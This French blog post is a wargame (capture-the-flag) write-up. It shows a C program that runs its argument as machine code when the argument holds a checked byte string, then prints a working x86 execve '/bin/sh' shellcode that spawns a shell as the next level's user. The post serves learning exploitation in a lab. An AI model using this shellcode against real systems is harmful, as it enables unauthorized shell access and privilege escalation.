Archives du blog

jeudi 13 janvier 2011

Lovely Challenge

J'ai débuté une nouvelle box de challenge récemment qui est intéressante dans le sens où les épreuves sont assez chiantes :p
Comme exemple cette source :

#include <stdio.h>
int main(int argc, char *argv[])
{
        if(argc != 2){
                exit(1);
                }
        int i;
        int o;
        for(i=0; argv[1][i]; i++)
                {
                if(argv[1][i] == '\x68' &&
                   argv[1][i+1] == '\x2f' &&
                   argv[1][i+2] == '\x63' &&
                   argv[1][i+3] == '\x61' &&
                   argv[1][i+4] == '\x74' &&
                   argv[1][i+5] == '\x68' &&
                   argv[1][i+6] == '\x2f' &&
                   argv[1][i+7] == '\x62' &&
                   argv[1][i+8] == '\x69' &&
                   argv[1][i+9] == '\x6e')
                        o = 1;
                }
        if(o != 1){
                fprintf(stderr,"Illegal Instruction.\n");
                return 1;
                }
        else{
                fprintf(stdout,"OK\n");
                setresuid(1004,1004,1004);
                (*(void(*)()) argv[1])();
                return 0;
        }
}

$ whoami
level3

évidemment, maintenant que je connais la solution ça me parait simple...
Cette boucle for, vérifie que dans ce qu'on va passer en paramètre au binaire il y a une chaine hexadécimal :
\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e
Ce qui donne une fois traduite :
"h/cath/bin"

Bien sûr étant très patient et très analyste sur les bords (Joke) je me suis arrêté à cet indice qui n'en est pas un au final...
En regardant un peu plus loin on s'aperçoit que l'arg qu'on lui a rentré, si il contient la fameuse chaîne se fait exécuter, évidemment quand j'ai vu ce code barbare je me suis dit que c'était foutu pour moi, m'enfin google était mon ami :)
A partir de là, l'épreuve est terminée :

$ ./level3 `python -c "print '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e'"`           
OK
sh-3.2$ whoami
level4

J'en viens de plus en plus à la conclusion que faire des challenges reviens à s'autoflagéler cérébralement !

Aucun commentaire:

Enregistrer un commentaire